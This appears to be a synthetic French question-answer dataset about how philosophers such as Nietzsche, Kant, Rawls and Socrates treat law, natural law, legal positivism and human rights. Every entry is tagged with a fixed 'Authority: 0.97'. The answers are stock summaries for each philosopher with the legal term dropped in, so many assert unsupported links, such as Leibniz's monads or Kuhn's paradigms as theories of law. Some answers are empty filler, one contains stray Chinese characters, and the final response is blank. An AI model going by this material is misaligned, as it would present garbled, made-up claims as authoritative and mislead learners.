Prompt:
Instruction: Comment Nietzsche critique-t-il la notion traditionnelle de droit ?. Output: response, valeur.

Exemples:
QUERY: Comment Nietzsche critique-t-il la notion traditionnelle de droit ?... -> response_body

Response:
Nietzsche analyse droit comme expression de la volonté de puissance, principe d'affirmation et de dépassement de soi. Sa généalogie de la morale démasque les valeurs judéo-chrétiennes comme ressentiment des faibles contre les forts. La mort de Dieu annonce l'effondrement des valeurs transcendantes et la nécessité d'une transvaluation de toutes les valeurs. L'éternel retour, pensée la plus abyssale, est le critère de l'affirmation suprême de la vie (amor fati). Le surhomme (Übermensch) crée ses propres valeurs au-delà du bien et du mal traditionnels.

(Module: AEX_DROI_9067, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement droit pour Leibniz ?. Output: response.

Exemples:
QUERY: Que signifie exactement droit pour Leibniz ?... -> response_body

Response:
Leibniz conçoit droit à partir des monades, substances simples sans interaction causale directe, synchronisées par l'harmonie préétablie par Dieu. Son principe de raison suffisante affirme que tout a une raison d'être. Sa théodicée défend que notre monde est le meilleur des mondes possibles malgré l'existence du mal (physique, métaphysique et moral). En logique, il distingue les vérités de raison (nécessaires, fondées sur le principe de contradiction) des vérités de fait (contingentes, fondées sur le principe de raison suffisante).

(Module: AEX_DROI_9119, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de positivisme juridique selon Platon ?. Output: response, ratio.

Exemples:
QUERY: Quels sont les enjeux de positivisme juridique selon Platon ?... -> response_body

Response:
Platon aborde positivisme juridique à travers la distinction entre le monde sensible des apparences et le monde intelligible des Idées. Dans La République, l'allégorie de la caverne illustre le passage de l'opinion (doxa) à la connaissance véritable (épistémè). L'âme tripartite (rationnelle, irascible, concupiscible) doit s'élever par la dialectique vers la contemplation du Bien, source de toute réalité et de toute intelligibilité selon la类比 du soleil.

(Module: AEX_DROI_9131, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Arendt renouvelle la compréhension de loi.. Output: response.

Exemples:
QUERY: Expliquez comment Arendt renouvelle la compréhension de loi.... -> response_body

Response:
Arendt analyse loi à partir de la condition humaine et de la vita activa divisée en travail (labor), œuvre (work) et action (action). L'action dans l'espace public est la plus haute activité humaine, révélant qui nous sommes dans la pluralité. Le totalitarisme détruit l'espace public et la spontanéité humaine. La banalité du mal, observée chez Eichmann, montre que le mal peut être commis par des bureaucrates ordinaires sans intention malveillante, par simple absence de pensée (thoughtlessness).

(Module: AEX_DROI_9137, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droit naturel selon Husserl ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droit naturel selon Husserl ?... -> response_body

Response:
Husserl fonde droit naturel sur l'intentionnalité de la conscience : toute conscience est conscience de quelque chose. Sa phénoménologie transcendantale procède par épochè (mise entre parenthèses de l'attitude naturelle) et réduction pour atteindre les structures essentielles de l'expérience. La distinction noèse (acte de conscience) et noème (objet intentionnel) structure l'analyse phénoménologique. Le monde vécu (Lebenswelt) est le sol originaire de tout sens, menacé par l'oubli des sciences modernes.

(Module: AEX_DROI_9140, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droit naturel dans la philosophie de Rawls.. Output: response.

Exemples:
QUERY: Analysez la notion de droit naturel dans la philosophie de... -> response_body

Response:
Rawls fonde droit naturel sur la justice comme équité dans une position originelle sous le voile d'ignorance. Ses deux principes de justice sont : l'égale liberté pour tous, et les inégalités seulement si elles profitent aux plus défavorisés (principe de différence) et si les positions sont ouvertes à tous (égalité équitable des chances). Sa théorie du consensus par recoupement (overlapping consensus) et de la raison publique vise à fonder une société pluraliste et stable où des conceptions du bien différentes coexistent.

(Module: AEX_DROI_9151, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement droits de l'homme pour Aristote ?. Output: response.

Exemples:
QUERY: Que signifie exactement droits de l'homme pour Aristote ?... -> response_body

Response:
Aristote traite de droits de l'homme dans une perspective téléologique et empirique. Toute substance est composée de matière et de forme (hylémorphisme) et tend vers sa finalité propre. Dans l'Éthique à Nicomaque, il définit la vertu comme un juste milieu (médiété) entre deux extrêmes vicieux, et le bonheur (eudaimonia) comme l'activité de l'âme conforme à la raison. Théoricien du syllogisme, il fonde la logique formelle occidentale sur les figures et les modes du raisonnement déductif.

(Module: AEX_DROI_9169, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir droit d'après Socrate ?. Output: response.

Exemples:
QUERY: Comment définir droit d'après Socrate ?... -> response_body

Response:
Socrate aborde droit par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_9175, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droit naturel dans la philosophie de Epicure.. Output: response.

Exemples:
QUERY: Analysez la notion de droit naturel dans la philosophie de... -> response_body

Response:
Epicure aborde droit naturel dans Lettre a Menecée et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de clinamen, qui éclaire sa conception de droit naturel. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_9307, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droits de l'homme selon Guillaume d'Ockham ?. Output: response, taux.

Exemples:
QUERY: Quels sont les enjeux de droits de l'homme selon Guillaume... -> response_body

Response:
Ockham révolutionne droits de l'homme par son nominalisme radical : les universaux ne sont que des concepts de l'esprit, des signes mentaux (intentiones animae). Son fameux rasoir (« Les entités ne doivent pas être multipliées sans nécessité ») élimine les hypothèses superflues. Il distingue la puissance absolue de Dieu (tout est possible logiquement) de sa puissance ordonnée (ce qu'il a choisi de faire), ouvrant la voie au volontarisme théologique.

(Module: AEX_DROI_9311, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement droit naturel pour Socrate ?. Output: response.

Exemples:
QUERY: Que signifie exactement droit naturel pour Socrate ?... -> response_body

Response:
Socrate aborde droit naturel par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_9347, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droit est central chez Thomas d'Aquin ?. Output: response.

Exemples:
QUERY: Peut-on dire que droit est central chez Thomas d'Aquin ?... -> response_body

Response:
Thomas d'Aquin aborde droit par la synthèse de la philosophie aristotélicienne et de la théologie chrétienne. Sa doctrine de l'analogie de l'être permet de parler de Dieu sans anthropomorphisme. Il pose les cinq voies pour démontrer l'existence de Dieu : mouvement, causalité efficiente, contingence, degrés de perfection et finalité. La loi naturelle fonde la morale sur les inclinations fondamentales de la nature humaine : conserver la vie, procréer, connaître la vérité et vivre en société.

(Module: AEX_DROI_9376, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droit naturel dans la philosophie de Arendt.. Output: response.

Exemples:
QUERY: Analysez la notion de droit naturel dans la philosophie de... -> response_body

Response:
Arendt analyse droit naturel à partir de la condition humaine et de la vita activa divisée en travail (labor), œuvre (work) et action (action). L'action dans l'espace public est la plus haute activité humaine, révélant qui nous sommes dans la pluralité. Le totalitarisme détruit l'espace public et la spontanéité humaine. La banalité du mal, observée chez Eichmann, montre que le mal peut être commis par des bureaucrates ordinaires sans intention malveillante, par simple absence de pensée (thoughtlessness).

(Module: AEX_DROI_9383, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Habermas par positivisme juridique ?. Output: response.

Exemples:
QUERY: Qu'entend Habermas par positivisme juridique ?... -> response_body

Response:
Habermas pense positivisme juridique à travers l'agir communicationnel, où les participants s'orientent vers l'entente mutuelle par des prétentions à la validité (vérité propositionnelle, justesse normative, sincérité expressive). Sa distinction entre monde vécu (Lebenswelt) et système analyse la colonisation du premier par le second (argent et pouvoir). L'éthique de la discussion fonde les normes sur ce à quoi tous peuvent consentir dans une situation de parole idéale. Il défend une modernité inachevée et un patriotisme constitutionnel.

(Module: AEX_DROI_9441, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez le concept de positivisme juridique chez Stoiciens.. Output: response.

Exemples:
QUERY: Expliquez le concept de positivisme juridique chez Stoiciens.... -> response_body

Response:
Stoiciens aborde positivisme juridique dans Seneque Lettres et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de phantasia, qui éclaire sa conception de positivisme juridique. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_9449, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Leibniz par droit naturel ?. Output: response.

Exemples:
QUERY: Qu'entend Leibniz par droit naturel ?... -> response_body

Response:
Leibniz conçoit droit naturel à partir des monades, substances simples sans interaction causale directe, synchronisées par l'harmonie préétablie par Dieu. Son principe de raison suffisante affirme que tout a une raison d'être. Sa théodicée défend que notre monde est le meilleur des mondes possibles malgré l'existence du mal (physique, métaphysique et moral). En logique, il distingue les vérités de raison (nécessaires, fondées sur le principe de contradiction) des vérités de fait (contingentes, fondées sur le principe de raison suffisante).

(Module: AEX_DROI_9467, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droit est central chez Epicure ?. Output: response.

Exemples:
QUERY: Peut-on dire que droit est central chez Epicure ?... -> response_body

Response:
Epicure aborde droit dans Lettre a Herodote et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de ataraxie, qui éclaire sa conception de droit. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_9506, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe droit dans la pensée de Leibniz ?. Output: response.

Exemples:
QUERY: Quelle place occupe droit dans la pensée de Leibniz ?... -> response_body

Response:
Leibniz conçoit droit à partir des monades, substances simples sans interaction causale directe, synchronisées par l'harmonie préétablie par Dieu. Son principe de raison suffisante affirme que tout a une raison d'être. Sa théodicée défend que notre monde est le meilleur des mondes possibles malgré l'existence du mal (physique, métaphysique et moral). En logique, il distingue les vérités de raison (nécessaires, fondées sur le principe de contradiction) des vérités de fait (contingentes, fondées sur le principe de raison suffisante).

(Module: AEX_DROI_9520, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Marx aborde-t-il la question de droit ?. Output: response, value.

Exemples:
QUERY: Comment Marx aborde-t-il la question de droit ?... -> response_body

Response:
Marx aborde droit par le matérialisme historique : l'infrastructure économique (rapports de production) détermine la superstructure (politique, droit, idéologie). La lutte des classes est le moteur de l'histoire, et le capitalisme produit l'aliénation du travailleur par l'exploitation de la plus-value. La révolution prolétarienne doit abolir la propriété privée des moyens de production. Le fétichisme de la marchandise masque les rapports sociaux sous des rapports entre choses.

(Module: AEX_DROI_9556, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de positivisme juridique dans la philosophie de Thomas d'Aquin.. Output: response.

Exemples:
QUERY: Analysez la notion de positivisme juridique dans la philosophie de... -> response_body

Response:
Thomas d'Aquin aborde positivisme juridique par la synthèse de la philosophie aristotélicienne et de la théologie chrétienne. Sa doctrine de l'analogie de l'être permet de parler de Dieu sans anthropomorphisme. Il pose les cinq voies pour démontrer l'existence de Dieu : mouvement, causalité efficiente, contingence, degrés de perfection et finalité. La loi naturelle fonde la morale sur les inclinations fondamentales de la nature humaine : conserver la vie, procréer, connaître la vérité et vivre en société.

(Module: AEX_DROI_9624, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Rawls critique-t-il la notion traditionnelle de loi ?. Output: response.

Exemples:
QUERY: Comment Rawls critique-t-il la notion traditionnelle de loi ?... -> response_body

Response:
Rawls fonde loi sur la justice comme équité dans une position originelle sous le voile d'ignorance. Ses deux principes de justice sont : l'égale liberté pour tous, et les inégalités seulement si elles profitent aux plus défavorisés (principe de différence) et si les positions sont ouvertes à tous (égalité équitable des chances). Sa théorie du consensus par recoupement (overlapping consensus) et de la raison publique vise à fonder une société pluraliste et stable où des conceptions du bien différentes coexistent.

(Module: AEX_DROI_9710, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Lévinas renouvelle la compréhension de positivisme juridique.. Output: response.

Exemples:
QUERY: Expliquez comment Lévinas renouvelle la compréhension de positivisme juridique.... -> response_body

Response:
Lévinas fait de positivisme juridique une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_9715, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droit dans la philosophie de Schopenhauer.. Output: response, ratio.

Exemples:
QUERY: Analysez la notion de droit dans la philosophie de Schopenhauer.... -> response_body

Response:
Schopenhauer pense droit à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_9769, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Schopenhauer concernant positivisme juridique ?. Output: response, ratio.

Exemples:
QUERY: En quoi consiste la théorie de Schopenhauer concernant positivisme juridique... -> response_body

Response:
Schopenhauer pense positivisme juridique à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_9777, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Schopenhauer par positivisme juridique ?. Output: response, ratio.

Exemples:
QUERY: Qu'entend Schopenhauer par positivisme juridique ?... -> response_body

Response:
Schopenhauer pense positivisme juridique à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_9876, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Epicure concernant droit naturel ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Epicure concernant droit naturel... -> response_body

Response:
Epicure aborde droit naturel dans Lettre a Herodote et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de mort neant, qui éclaire sa conception de droit naturel. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_9895, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Lévinas critique-t-il la notion traditionnelle de loi ?. Output: response.

Exemples:
QUERY: Comment Lévinas critique-t-il la notion traditionnelle de loi ?... -> response_body

Response:
Lévinas fait de loi une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_0013, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droits de l'homme selon Socrate ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droits de l'homme selon Socrate... -> response_body

Response:
Socrate aborde droits de l'homme par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_0020, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que positivisme juridique est central chez Kant ?. Output: response.

Exemples:
QUERY: Peut-on dire que positivisme juridique est central chez Kant ?... -> response_body

Response:
Kant opère une révolution copernicienne de positivisme juridique : ce ne sont plus les connaissances qui se règlent sur les objets, mais les objets sur nos facultés de connaître. Il distingue le phénomène (ce qui apparaît à travers les formes a priori de la sensibilité : espace et temps) du noumène (la chose en soi inaccessible). Sa philosophie morale défend l'impératif catégorique : « Agis selon une maxime qui puisse devenir une loi universelle. » Le sujet transcendantal, avec ses catégories (quantité, qualité, relation, modalité), est la condition de possibilité de l'expérience.

(Module: AEX_DROI_0059, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir loi d'après Deleuze ?. Output: response.

Exemples:
QUERY: Comment définir loi d'après Deleuze ?... -> response_body

Response:
Deleuze pense loi à partir de la différence et de la répétition, contre la philosophie de l'identité. Le rhizome, le corps sans organes et la machine désirante sont des concepts qui échappent à la pensée arborescente. La philosophie est création de concepts, non contemplation ou réflexion. Le plan d'immanence est l'image de la pensée qui refuse toute transcendance. Tout est agencement de multiplicités en devenir, et la pensée est un plissement du dehors.

(Module: AEX_DROI_0095, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Kant renouvelle la compréhension de droit.. Output: response.

Exemples:
QUERY: Expliquez comment Kant renouvelle la compréhension de droit.... -> response_body

Response:
Kant opère une révolution copernicienne de droit : ce ne sont plus les connaissances qui se règlent sur les objets, mais les objets sur nos facultés de connaître. Il distingue le phénomène (ce qui apparaît à travers les formes a priori de la sensibilité : espace et temps) du noumène (la chose en soi inaccessible). Sa philosophie morale défend l'impératif catégorique : « Agis selon une maxime qui puisse devenir une loi universelle. » Le sujet transcendantal, avec ses catégories (quantité, qualité, relation, modalité), est la condition de possibilité de l'expérience.

(Module: AEX_DROI_0140, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de positivisme juridique selon Thomas d'Aquin ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de positivisme juridique selon Thomas d'Aquin... -> response_body

Response:
Thomas d'Aquin aborde positivisme juridique par la synthèse de la philosophie aristotélicienne et de la théologie chrétienne. Sa doctrine de l'analogie de l'être permet de parler de Dieu sans anthropomorphisme. Il pose les cinq voies pour démontrer l'existence de Dieu : mouvement, causalité efficiente, contingence, degrés de perfection et finalité. La loi naturelle fonde la morale sur les inclinations fondamentales de la nature humaine : conserver la vie, procréer, connaître la vérité et vivre en société.

(Module: AEX_DROI_0141, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe positivisme juridique dans la pensée de Lévinas ?. Output: response.

Exemples:
QUERY: Quelle place occupe positivisme juridique dans la pensée de Lévinas... -> response_body

Response:
Lévinas fait de positivisme juridique une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_0183, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de loi dans la philosophie de Maïmonide.. Output: response.

Exemples:
QUERY: Analysez la notion de loi dans la philosophie de Maïmonide.... -> response_body

Response:
Maïmonide développe loi dans le cadre du judaïsme rabbinique et de la philosophie aristotélicienne. Son Guide des égarés prône une théologie négative : on ne peut dire ce que Dieu est, seulement ce qu'il n'est pas. Il harmonise raison et révélation en montrant que la Loi divine a des fins morales et intellectuelles, visant la perfection de l'âme et l'ordre social. La voie de la sagesse est l'ascension vers la connaissance de Dieu.

(Module: AEX_DROI_0217, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Heidegger sur droit.. Output: response.

Exemples:
QUERY: Développez l'argument de Heidegger sur droit.... -> response_body

Response:
Heidegger interroge droit à partir de la question de l'Être (Seinsfrage), oubliée par la métaphysique occidentale. Le Dasein (être-là) est l'étant pour lequel l'Être est en question dans son être même. L'analytique existentiale dégage les existentiaux : être-au-monde, être-pour-la-mort, souci, facticité, être-jeté (Geworfenheit). L'appel de la conscience (Gewissen) arrache le Dasein à l'inauthenticité du « on » (das Man) pour le conduire vers l'existence authentique et résolue (Entschlossenheit) devant la mort.

(Module: AEX_DROI_0241, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Aristote à propos de droits de l'homme ?. Output: response.

Exemples:
QUERY: Quelle est l'originalité de Aristote à propos de droits de... -> response_body

Response:
Aristote traite de droits de l'homme dans une perspective téléologique et empirique. Toute substance est composée de matière et de forme (hylémorphisme) et tend vers sa finalité propre. Dans l'Éthique à Nicomaque, il définit la vertu comme un juste milieu (médiété) entre deux extrêmes vicieux, et le bonheur (eudaimonia) comme l'activité de l'âme conforme à la raison. Théoricien du syllogisme, il fonde la logique formelle occidentale sur les figures et les modes du raisonnement déductif.

(Module: AEX_DROI_0329, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Socrate sur droit.. Output: response.

Exemples:
QUERY: Développez l'argument de Socrate sur droit.... -> response_body

Response:
Socrate aborde droit par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_0339, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Spinoza aborde-t-il la question de droit ?. Output: response.

Exemples:
QUERY: Comment Spinoza aborde-t-il la question de droit ?... -> response_body

Response:
Spinoza pense droit dans le cadre d'un monisme radical : il n'existe qu'une seule substance, Dieu ou la Nature (Deus sive Natura), aux attributs infinis (pensée et étendue). Sa philosophie de l'Éthique démontre more geometrico que tout est nécessaire et que la liberté est la compréhension de la nécessité. Le conatus (effort pour persévérer dans l'être) est le fondement de l'éthique, culminant dans l'amour intellectuel de Dieu (amor intellectualis Dei), troisième genre de connaissance.

(Module: AEX_DROI_0347, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Spinoza critique-t-il la notion traditionnelle de loi ?. Output: response.

Exemples:
QUERY: Comment Spinoza critique-t-il la notion traditionnelle de loi ?... -> response_body

Response:
Spinoza pense loi dans le cadre d'un monisme radical : il n'existe qu'une seule substance, Dieu ou la Nature (Deus sive Natura), aux attributs infinis (pensée et étendue). Sa philosophie de l'Éthique démontre more geometrico que tout est nécessaire et que la liberté est la compréhension de la nécessité. Le conatus (effort pour persévérer dans l'être) est le fondement de l'éthique, culminant dans l'amour intellectuel de Dieu (amor intellectualis Dei), troisième genre de connaissance.

(Module: AEX_DROI_0371, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Rousseau sur droits de l'homme.. Output: response.

Exemples:
QUERY: Développez l'argument de Rousseau sur droits de l'homme.... -> response_body

Response:
Rousseau pense droits de l'homme à partir de l'état de nature, où l'homme est bon et libre, corrompu par la société et la propriété. Son contrat social fonde une communauté politique où la volonté générale, orientée vers le bien commun, s'exprime dans la souveraineté populaire indivisible et inaliénable. L'Émile propose une éducation négative qui respecte le développement naturel de l'enfant. Rousseau distingue l'amour de soi (naturel, positif) de l'amour-propre (social, source de rivalité et d'inégalité).

(Module: AEX_DROI_0375, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez le concept de droit chez Beauvoir.. Output: response.

Exemples:
QUERY: Expliquez le concept de droit chez Beauvoir.... -> response_body

Response:
Beauvoir analyse droit à partir de l'existentialisme et de la condition féminine. Le Deuxième Sexe établit la distinction entre sexe (biologique) et genre (construit social), montrant comment la femme a été construite comme l'Autre par rapport à l'homme-Sujet. « On ne naît pas femme, on le devient. » Sa morale de l'ambiguïté assume la tension entre liberté et situation, et appelle à la réciprocité des consciences dans la reconnaissance mutuelle des libertés.

(Module: AEX_DROI_0387, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir loi d'après Rawls ?. Output: response.

Exemples:
QUERY: Comment définir loi d'après Rawls ?... -> response_body

Response:
Rawls fonde loi sur la justice comme équité dans une position originelle sous le voile d'ignorance. Ses deux principes de justice sont : l'égale liberté pour tous, et les inégalités seulement si elles profitent aux plus défavorisés (principe de différence) et si les positions sont ouvertes à tous (égalité équitable des chances). Sa théorie du consensus par recoupement (overlapping consensus) et de la raison publique vise à fonder une société pluraliste et stable où des conceptions du bien différentes coexistent.

(Module: AEX_DROI_0400, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de loi selon Kuhn ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de loi selon Kuhn ?... -> response_body

Response:
Kuhn analyse loi à travers sa théorie des révolutions scientifiques dans La structure des révolutions scientifiques. La science normale résout des énigmes dans un cadre paradigmatique accepté par la communauté scientifique. Quand les anomalies s'accumulent, une crise s'ouvre menant à un changement de paradigme par révolution. Les paradigmes sont incommensurables : il n'y a pas de critère neutre pour les départager, car ils définissent des mondes différents avec leurs propres standards de scientificité.

(Module: AEX_DROI_0672, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de positivisme juridique dans la philosophie de Kant.. Output: response.

Exemples:
QUERY: Analysez la notion de positivisme juridique dans la philosophie de... -> response_body

Response:
Kant opère une révolution copernicienne de positivisme juridique : ce ne sont plus les connaissances qui se règlent sur les objets, mais les objets sur nos facultés de connaître. Il distingue le phénomène (ce qui apparaît à travers les formes a priori de la sensibilité : espace et temps) du noumène (la chose en soi inaccessible). Sa philosophie morale défend l'impératif catégorique : « Agis selon une maxime qui puisse devenir une loi universelle. » Le sujet transcendantal, avec ses catégories (quantité, qualité, relation, modalité), est la condition de possibilité de l'expérience.

(Module: AEX_DROI_0680, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe droit naturel dans la pensée de Hegel ?. Output: response, ratio.

Exemples:
QUERY: Quelle place occupe droit naturel dans la pensée de Hegel... -> response_body

Response:
Hegel conçoit droit naturel comme processus dialectique où chaque étape est à la fois niée et conservée (Aufhebung). La Phénoménologie de l'esprit décrit le chemin de la conscience vers le Savoir absolu : conscience, conscience de soi (dialectique du maître et de l'esclave), raison et esprit. La reconnaissance par l'autre est constitutive de la conscience de soi. Pour Hegel, « tout le réel est rationnel et tout le rationnel est réel » : l'histoire est le progrès de l'esprit vers la liberté.

(Module: AEX_DROI_0689, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Berkeley par droit ?. Output: response.

Exemples:
QUERY: Qu'entend Berkeley par droit ?... -> response_body

Response:
Berkeley réduit droit à sa formulation idéaliste : « Esse est percipi » (être c'est être perçu). Il nie l'existence de la matière hors de l'esprit, affirmant que les choses sont des collections d'idées perçues par les esprits finis et l'esprit infini de Dieu. Son immatérialisme prétend combattre le scepticisme en ramenant la réalité à ce qui est immédiatement donné à la perception. Le monde continue d'exister car Dieu le perçoit.

(Module: AEX_DROI_0707, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droit selon Irigaray ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droit selon Irigaray ?... -> response_body

Response:
Irigaray analyse droit à travers la critique du phallogocentrisme et la construction d'une éthique de la différence sexuelle. Elle montre comment le discours philosophique occidental a effacé le féminin sous le même masculin. Son concept de « parler femme » cherche une expression qui ne soit pas celle du sujet masculin universel. La médiation du corps et le maternel doivent être reconnus dans leur différence irréductible pour une culture de la différence sexuelle.

(Module: AEX_DROI_0721, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Socrate à propos de positivisme juridique ?. Output: response.

Exemples:
QUERY: Quelle est l'originalité de Socrate à propos de positivisme juridique... -> response_body

Response:
Socrate aborde positivisme juridique par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_0736, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe droit dans la pensée de Stoiciens ?. Output: response.

Exemples:
QUERY: Quelle place occupe droit dans la pensée de Stoiciens ?... -> response_body

Response:
